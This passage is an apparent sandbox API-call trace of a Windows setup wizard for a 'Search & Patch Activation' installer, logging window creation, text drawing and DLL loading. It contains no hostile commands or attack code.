returned 0x8005c [0261.939] SetWindowLongA (hWnd=0x8005c, nIndex=-4, dwNewLong=2297384) returned 4274892 [0261.939] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0261.939] GetWindowLongA (hWnd=0x8005c, nIndex=-12) returned 0 [0261.939] SetWindowLongA (hWnd=0x8005c, nIndex=-12, dwNewLong=524380) returned 0 [0261.939] SetPropA (hWnd=0x8005c, lpString=0xc167, hData=0x2c84220) returned 1 [0261.939] SetPropA (hWnd=0x8005c, lpString=0xc168, hData=0x2c84220) returned 1 [0261.939] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x81, wParam=0x0, lParam=0x18f9c4) returned 0x1 [0261.940] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x83, wParam=0x0, lParam=0x18f9b0) returned 0x0 [0261.940] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x1, wParam=0x0, lParam=0x18f9c4) returned 0x1 [0261.940] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f228 | out: lpdwProcessId=0x18f228) returned 0x8cc [0261.940] GetCurrentProcessId () returned 0x8d0 [0261.940] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0261.940] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f228 | out: lpdwProcessId=0x18f228) returned 0x8cc [0261.940] GetCurrentProcessId () returned 0x8d0 [0261.940] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0261.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x55, wParam=0x8005c, lParam=0x3) returned 0x1 [0261.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x9024e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0261.941] IsIconic (hWnd=0x8005c) returned 0 [0261.941] GetWindowRect (in: hWnd=0x8005c, lpRect=0x18f7c4 | out: lpRect=0x18f7c4) returned 1 [0261.941] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0261.941] GetWindowLongA (hWnd=0x8005c, nIndex=-8) returned 590414 [0261.941] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f7c4 | out: lpPoint=0x18f7c4) returned 1 [0261.941] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f7cc | out: lpPoint=0x18f7cc) returned 1 [0261.941] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x5, wParam=0x0, lParam=0x110189) returned 0x0 [0261.941] GetClientRect (in: hWnd=0x8005c, lpRect=0x18f7f0 | out: lpRect=0x18f7f0) returned 1 [0261.941] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x3, wParam=0x0, lParam=0x460002) returned 0x0 [0261.941] IsIconic (hWnd=0x8005c) returned 0 [0261.941] GetWindowRect (in: hWnd=0x8005c, lpRect=0x18f7c8 | out: lpRect=0x18f7c8) returned 1 [0261.941] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0261.941] GetWindowLongA (hWnd=0x8005c, nIndex=-8) returned 590414 [0261.941] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f7c8 | out: lpPoint=0x18f7c8) returned 1 [0261.941] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f7d0 | out: lpPoint=0x18f7d0) returned 1 [0261.942] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0261.942] GetCurrentProcessId () returned 0x8d0 [0261.942] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0261.942] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xbe10, wParam=0x5c0001, lParam=0x8005c) returned 0x0 [0261.942] IsIconic (hWnd=0x8005c) returned 0 [0261.942] GetWindowRect (in: hWnd=0x8005c, lpRect=0x18fd94 | out: lpRect=0x18fd94) returned 1 [0261.942] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0261.942] GetWindowLongA (hWnd=0x8005c, nIndex=-8) returned 590414 [0261.942] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18fd94 | out: lpPoint=0x18fd94) returned 1 [0261.942] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18fd9c | out: lpPoint=0x18fd9c) returned 1 [0261.942] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0261.942] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0261.942] SendMessageA (hWnd=0x8005c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0261.942] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0261.942] SendMessageA (hWnd=0x8005c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0261.942] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0261.942] SendMessageA (hWnd=0x8005c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0261.942] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x1 [0261.942] GetDC (hWnd=0x0) returned 0x1f01019b [0261.942] GetTextMetricsA (in: hdc=0x1f01019b, lptm=0x18fe28 | out: lptm=0x18fe28) returned 1 [0261.943] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0261.943] GetTextMetricsA (in: hdc=0x1f01019b, lptm=0x18fe60 | out: lptm=0x18fe60) returned 1 [0261.943] SelectObject (hdc=0x1f01019b, h=0x18a002e) returned 0x290a06a6 [0261.943] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0261.943] GetSystemMetrics (nIndex=6) returned 1 [0261.943] SetPropA (hWnd=0x8005c, lpString=0xc167, hData=0x2c84220) returned 1 [0261.943] SetPropA (hWnd=0x8005c, lpString=0xc168, hData=0x2c84220) returned 1 [0261.943] SetWindowPos (hWnd=0x8005c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0261.943] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x46, wParam=0x0, lParam=0x18fe70) returned 0x0 [0261.943] GetSystemDirectoryA (in: lpBuffer=0x18fda4, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0261.943] SetErrorMode (uMode=0x8000) returned 0x1 [0261.943] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shlwapi.dll") returned 0x751c0000 [0261.944] SetErrorMode (uMode=0x1) returned 0x8000 [0261.945] GetProcAddress (hModule=0x751c0000, lpProcName="SHAutoComplete") returned 0x751e9353 [0261.947] SHAutoComplete (hwndEdit=0x8005c, dwFlags=0x1) returned 0x0 [0262.944] MulDiv (nNumber=75, nNumerator=6, nDenominator=6) returned 75 [0262.944] GetDC (hWnd=0x0) returned 0x1f01019b [0262.944] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.944] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Browse...", c=9, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0262.944] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0262.944] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.944] GetClientRect (in: hWnd=0x9024e, lpRect=0x18fe60 | out: lpRect=0x18fe60) returned 1 [0262.944] MulDiv (nNumber=10, nNumerator=6, nDenominator=6) returned 10 [0262.944] IsIconic (hWnd=0x8005c) returned 0 [0262.944] SetWindowPos (hWnd=0x8005c, hWndInsertAfter=0x0, X=0, Y=68, cx=332, cy=21, uFlags=0x14) returned 1 [0262.944] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x46, wParam=0x0, lParam=0x18fe28) returned 0x0 [0262.944] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x83, wParam=0x1, lParam=0x18fe00) returned 0x0 [0262.944] IsWindowVisible (hWnd=0x8005c) returned 0 [0262.944] IsIconic (hWnd=0x8005c) returned 0 [0262.944] GetWindowRect (in: hWnd=0x8005c, lpRect=0x18f958 | out: lpRect=0x18f958) returned 1 [0262.944] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0262.944] GetWindowLongA (hWnd=0x8005c, nIndex=-8) returned 590414 [0262.945] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f958 | out: lpPoint=0x18f958) returned 1 [0262.945] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f960 | out: lpPoint=0x18f960) returned 1 [0262.945] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x47, wParam=0x0, lParam=0x18fe28) returned 0x0 [0262.945] IsIconic (hWnd=0x8005c) returned 0 [0262.945] GetWindowRect (in: hWnd=0x8005c, lpRect=0x18f234 | out: lpRect=0x18f234) returned 1 [0262.945] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0262.945] GetWindowLongA (hWnd=0x8005c, nIndex=-8) returned 590414 [0262.945] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f234 | out: lpPoint=0x18f234) returned 1 [0262.945] ScreenToClient (in: hWnd=0x9024e, lpPoint=0x18f23c | out: lpPoint=0x18f23c) returned 1 [0262.945] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0x5, wParam=0x0, lParam=0x110148) returned 0x0 [0262.945] GetClientRect (in: hWnd=0x8005c, lpRect=0x18f260 | out: lpRect=0x18f260) returned 1 [0262.945] GetClientRect (in: hWnd=0x9024e, lpRect=0x18fe54 | out: lpRect=0x18fe54) returned 1 [0262.945] GetDC (hWnd=0x0) returned 0x1f01019b [0262.945] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c79a1c, cbMultiByte=47, lpWideCharStr=0x2c8d7fc, cchWideChar=47 | out: lpWideCharStr="At least 0.0 MB of free disk space is required. II➠") returned 47 [0262.945] DrawTextW (in: hdc=0x1f01019b, lpchText="At least 0.0 MB of free disk space is required. II➠", cchText=47, lprc=0x18fe9c, format=0xd50 | out: lpchText="At least 0.0 MB of free disk space is required. II➠", lprc=0x18fe9c) returned 13 [0262.946] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.946] GetDC (hWnd=0x0) returned 0x1f01019b [0262.946] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d8c0, cbMultiByte=134, lpWideCharStr=0x2c8d94c, cchWideChar=134 | out: lpWideCharStr="Select the components you want to install; clear the components you do not want to install. Click Next when you are ready to continue.II▤") returned 134 [0262.946] DrawTextW (in: hdc=0x1f01019b, lpchText="Select the components you want to install; clear the components you do not want to install. Click Next when you are ready to continue.II▤", cchText=134, lprc=0x18fe9c, format=0xd50 | out: lpchText="Select the components you want to install; clear the components you do not want to install. Click Next when you are ready to continue.II▤", lprc=0x18fe9c) returned 26 [0262.946] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.946] GetDC (hWnd=0x0) returned 0x1f01019b [0262.946] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d908, cbMultiByte=57, lpWideCharStr=0x2c8cfe8, cchWideChar=57 | out: lpWideCharStr="Current selection requires at least 0.0 MB of disk space.") returned 57 [0262.946] DrawTextW (in: hdc=0x1f01019b, lpchText="Current selection requires at least 0.0 MB of disk space.", cchText=57, lprc=0x18fe9c, format=0xd40 | out: lpchText="Current selection requires at least 0.0 MB of disk space.", lprc=0x18fe9c) returned 13 [0262.946] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.946] MulDiv (nNumber=12, nNumerator=6, nDenominator=6) returned 12 [0262.946] GetDC (hWnd=0x0) returned 0x1f01019b [0262.947] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c7fcc8, cbMultiByte=77, lpWideCharStr=0x2c8d978, cchWideChar=77 | out: lpWideCharStr="Setup will create the program's shortcuts in the following Start Menu folder.eII◨") returned 77 [0262.947] DrawTextW (in: hdc=0x1f01019b, lpchText="Setup will create the program's shortcuts in the following Start Menu folder.eII◨", cchText=77, lprc=0x18fe9c, format=0xd50 | out: lpchText="Setup will create the program's shortcuts in the following Start Menu folder.eII◨", lprc=0x18fe9c) returned 13 [0262.947] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.947] MulDiv (nNumber=13, nNumerator=13, nDenominator=13) returned 13 [0262.947] MulDiv (nNumber=12, nNumerator=13, nDenominator=13) returned 12 [0262.947] GetDC (hWnd=0x0) returned 0x1f01019b [0262.947] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8d9e0, cbMultiByte=86, lpWideCharStr=0x2c8da3c, cchWideChar=86 | out: lpWideCharStr="To continue, click Next. If you would like to select a different folder, click Browse.II└") returned 86 [0262.947] DrawTextW (in: hdc=0x1f01019b, lpchText="To continue, click Next. If you would like to select a different folder, click Browse.II└", cchText=86, lprc=0x18fe9c, format=0xd50 | out: lpchText="To continue, click Next. If you would like to select a different folder, click Browse.II└", lprc=0x18fe9c) returned 13 [0262.947] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.947] MulDiv (nNumber=75, nNumerator=6, nDenominator=6) returned 75 [0262.947] GetDC (hWnd=0x0) returned 0x1f01019b [0262.947] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.948] GetTextExtentPoint32A (in: hdc=0x1f01019b, lpString="Browse...", c=9, psizl=0x18fe98 | out: psizl=0x18fe98) returned 1 [0262.948] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0262.948] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.948] MulDiv (nNumber=10, nNumerator=6, nDenominator=6) returned 10 [0262.948] GetDC (hWnd=0x0) returned 0x1f01019b [0262.948] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8dbec, cbMultiByte=154, lpWideCharStr=0x2c8dc8c, cchWideChar=154 | out: lpWideCharStr="Select the additional tasks you would like Setup to perform while installing MediaChance A1Photo & ArtEnhancer Search & Patch Activation, then click Next.II∼") returned 154 [0262.948] DrawTextW (in: hdc=0x1f01019b, lpchText="Select the additional tasks you would like Setup to perform while installing MediaChance A1Photo & ArtEnhancer Search & Patch Activation, then click Next.II∼", cchText=154, lprc=0x18fe9c, format=0xd50 | out: lpchText="Select the additional tasks you would like Setup to perform while installing MediaChance A1Photo & ArtEnhancer Search & Patch Activation, then click Next.II∼", lprc=0x18fe9c) returned 26 [0262.948] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.948] MulDiv (nNumber=22, nNumerator=13, nDenominator=13) returned 22 [0262.948] GetDC (hWnd=0x0) returned 0x1f01019b [0262.948] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8df44, cbMultiByte=54, lpWideCharStr=0x2c8df80, cchWideChar=54 | out: lpWideCharStr="When you are ready to continue with Setup, click Next.II‐") returned 54 [0262.948] DrawTextW (in: hdc=0x1f01019b, lpchText="When you are ready to continue with Setup, click Next.II‐", cchText=54, lprc=0x18fe9c, format=0xd50 | out: lpchText="When you are ready to continue with Setup, click Next.II‐", lprc=0x18fe9c) returned 13 [0262.949] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.949] GetDC (hWnd=0x0) returned 0x1f01019b [0262.949] EnumFontsA (hdc=0x1f01019b, lpLogfont="Verdana", lpProc=0x42e798, lParam=0x18fd9b) returned 1 [0262.949] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.949] MulDiv (nNumber=-12, nNumerator=96, nDenominator=72) returned -16 [0262.949] GetDC (hWnd=0x0) returned 0x1f01019b [0262.949] SelectObject (hdc=0x1f01019b, h=0x510a018d) returned 0x18a002e [0262.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8e078, cbMultiByte=89, lpWideCharStr=0x2c8e0d8, cchWideChar=89 | out: lpWideCharStr="Completing the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n") returned 89 [0262.949] DrawTextW (in: hdc=0x1f01019b, lpchText="Completing the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n", cchText=89, lprc=0x18fe9c, format=0xd50 | out: lpchText="Completing the MediaChance A1Photo & ArtEnhancer Search & Patch Activation Setup Wizard\r\n", lprc=0x18fe9c) returned 72 [0262.949] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.949] MulDiv (nNumber=22, nNumerator=13, nDenominator=13) returned 22 [0262.949] GetDC (hWnd=0x0) returned 0x1f01019b [0262.949] SelectObject (hdc=0x1f01019b, h=0x290a06a6) returned 0x18a002e [0262.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8ade0, cbMultiByte=30, lpWideCharStr=0x2c8e0f0, cchWideChar=30 | out: lpWideCharStr=" - Activation by @ countryboy IIỐ") returned 30 [0262.949] DrawTextW (in: hdc=0x1f01019b, lpchText=" - Activation by @ countryboy IIỐ", cchText=30, lprc=0x18fe1c, format=0xd40 | out: lpchText=" - Activation by @ countryboy IIỐ", lprc=0x18fe1c) returned 13 [0262.950] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0262.950] IsIconic (hWnd=0xc0060) returned 0 [0262.950] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fdc8 | out: lpRect=0x18fdc8) returned 1 [0262.950] IsIconic (hWnd=0xc0060) returned 0 [0262.950] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd6c | out: lpRect=0x18fd6c) returned 1 [0262.950] IsIconic (hWnd=0xc0060) returned 0 [0262.950] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fd64 | out: lpRect=0x18fd64) returned 1 [0262.950] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0262.950] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe5c | out: lpWndClass=0x18fe5c) returned 1 [0262.950] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20320 [0262.950] SetWindowLongA (hWnd=0x20320, nIndex=-4, dwNewLong=2297670) returned 4274892 [0262.950] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0262.950] GetWindowLongA (hWnd=0x20320, nIndex=-12) returned 0 [0262.950] SetWindowLongA (hWnd=0x20320, nIndex=-12, dwNewLong=131872) returned 0 [0262.950] SetPropA (hWnd=0x20320, lpString=0xc167, hData=0x2c869a8) returned 1 [0262.950] SetPropA (hWnd=0x20320, lpString=0xc168, hData=0x2c869a8) returned 1 [0262.950] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x81, wParam=0x0, lParam=0x18f9b4) returned 0x1 [0262.950] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x83, wParam=0x0, lParam=0x18f9a0) returned 0x0 [0262.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x1, wParam=0x0, lParam=0x18f9b4) returned 0x0 [0262.951] IsIconic (hWnd=0x20320) returned 0 [0262.951] GetWindowRect (in: hWnd=0x20320, lpRect=0x18f7b4 | out: lpRect=0x18f7b4) returned 1 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b4 | out: lpPoint=0x18f7b4) returned 1 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7bc | out: lpPoint=0x18f7bc) returned 1 [0262.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0262.951] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7e0 | out: lpRect=0x18f7e0) returned 1 [0262.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0262.951] IsIconic (hWnd=0x20320) returned 0 [0262.951] GetWindowRect (in: hWnd=0x20320, lpRect=0x18f7b8 | out: lpRect=0x18f7b8) returned 1 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7b8 | out: lpPoint=0x18f7b8) returned 1 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c0 | out: lpPoint=0x18f7c0) returned 1 [0262.951] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18f7dc | out: lpdwProcessId=0x18f7dc) returned 0x8cc [0262.951] GetCurrentProcessId () returned 0x8d0 [0262.951] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0262.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0xbe10, wParam=0x3200001, lParam=0x20320) returned 0x0 [0262.951] IsIconic (hWnd=0x20320) returned 0 [0262.951] GetWindowRect (in: hWnd=0x20320, lpRect=0x18fd84 | out: lpRect=0x18fd84) returned 1 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0262.951] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd84 | out: lpPoint=0x18fd84) returned 1 [0262.951] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0262.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0262.952] SetPropA (hWnd=0x20320, lpString=0xc167, hData=0x2c869a8) returned 1 [0262.952] SetPropA (hWnd=0x20320, lpString=0xc168, hData=0x2c869a8) returned 1 [0262.952] SetWindowPos (hWnd=0x20320, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0262.952] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x46, wParam=0x0, lParam=0x18fe48) returned 0x0 [0262.952] IsIconic (hWnd=0x20320) returned 0 [0262.952] GetWindowRect (in: hWnd=0x20320, lpRect=0x18fc14 | out: lpRect=0x18fc14) returned 1 [0262.952] GetWindowLongA (hWnd=0x20320, nIndex=-16) returned 1174405120 [0262.952] GetWindowLongA (hWnd=0x20320, nIndex=-8) returned 262968 [0262.952] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc14 | out: lpPoint=0x18fc14) returned 1 [0262.952] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc1c | out: lpPoint=0x18fc1c) returned 1 [0262.952] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x47, wParam=0x0, lParam=0x18fe48) returned 0x0 [0262.952] GetSystemDirectoryA (in: lpBuffer=0x18fc74, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0262.952] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\RICHED20.DLL") returned 0x71e40000 [0263.493] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.493] GetClassInfoA (in: hInstance=0x400000, lpClassName="EDIT", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.493] GetClassInfoA (in: hInstance=0x400000, lpClassName="RichEdit20A", lpWndClass=0x18fdd8 | out: lpWndClass=0x18fdd8) returned 1 [0263.493] GetClassInfoA (in: hInstance=0x400000, lpClassName="TRichEditViewer", lpWndClass=0x18fe40 | out: lpWndClass=0x18fe40) returned 0 [0263.494] RegisterClassA (lpWndClass=0x18fdd8) returned 0xedc1e2 [0263.494] CreateWindowExA (dwExStyle=0x200, lpClassName="TRichEditViewer", lpWindowName="", dwStyle=0x44210844, X=0, Y=37, nWidth=417, nHeight=148, hWndParent=0x20320, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20322 [0263.494] SetWindowLongA (hWnd=0x20322, nIndex=-4, dwNewLong=2297631) returned 4274892 [0263.494] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1143015492 [0263.494] GetWindowLongA (hWnd=0x20322, nIndex=-12) returned 0 [0263.494] SetWindowLongA (hWnd=0x20322, nIndex=-12, dwNewLong=131874) returned 0 [0263.494] SetPropA (hWnd=0x20322, lpString=0xc167, hData=0x2c878a0) returned 1 [0263.494] SetPropA (hWnd=0x20322, lpString=0xc168, hData=0x2c878a0) returned 1 [0263.494] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x81, wParam=0x0, lParam=0x18f994) returned 0x1 [0263.509] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x7c, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.511] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x7d, wParam=0xffffffec, lParam=0x18e3f0) returned 0x0 [0263.522] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x83, wParam=0x0, lParam=0x18f980) returned 0x0 [0263.522] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x1, wParam=0x0, lParam=0x18f994) returned 0x0 [0263.527] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x46, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.528] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x83, wParam=0x1, lParam=0x18ec74) returned 0x0 [0263.528] IsIconic (hWnd=0x20322) returned 0 [0263.528] GetWindowRect (in: hWnd=0x20322, lpRect=0x18ea68 | out: lpRect=0x18ea68) returned 1 [0263.528] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.528] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0263.528] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18ea68 | out: lpPoint=0x18ea68) returned 1 [0263.528] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18ea70 | out: lpPoint=0x18ea70) returned 1 [0263.528] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x47, wParam=0x0, lParam=0x18ec9c) returned 0x0 [0263.528] IsIconic (hWnd=0x20322) returned 0 [0263.528] GetWindowRect (in: hWnd=0x20322, lpRect=0x18d92c | out: lpRect=0x18d92c) returned 1 [0263.528] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.528] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0263.528] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18d92c | out: lpPoint=0x18d92c) returned 1 [0263.528] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18d934 | out: lpPoint=0x18d934) returned 1 [0263.528] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x5, wParam=0x0, lParam=0x90019d) returned 0x0 [0263.528] GetClientRect (in: hWnd=0x20322, lpRect=0x18d958 | out: lpRect=0x18d958) returned 1 [0263.530] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x7c, wParam=0xfffffff0, lParam=0x18ed40) returned 0x0 [0263.530] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x7d, wParam=0xfffffff0, lParam=0x18ed40) returned 0x1 [0263.530] IsIconic (hWnd=0x20322) returned 0 [0263.530] GetWindowRect (in: hWnd=0x20322, lpRect=0x18f794 | out: lpRect=0x18f794) returned 1 [0263.530] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1140918340 [0263.530] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0263.530] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f794 | out: lpPoint=0x18f794) returned 1 [0263.530] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f79c | out: 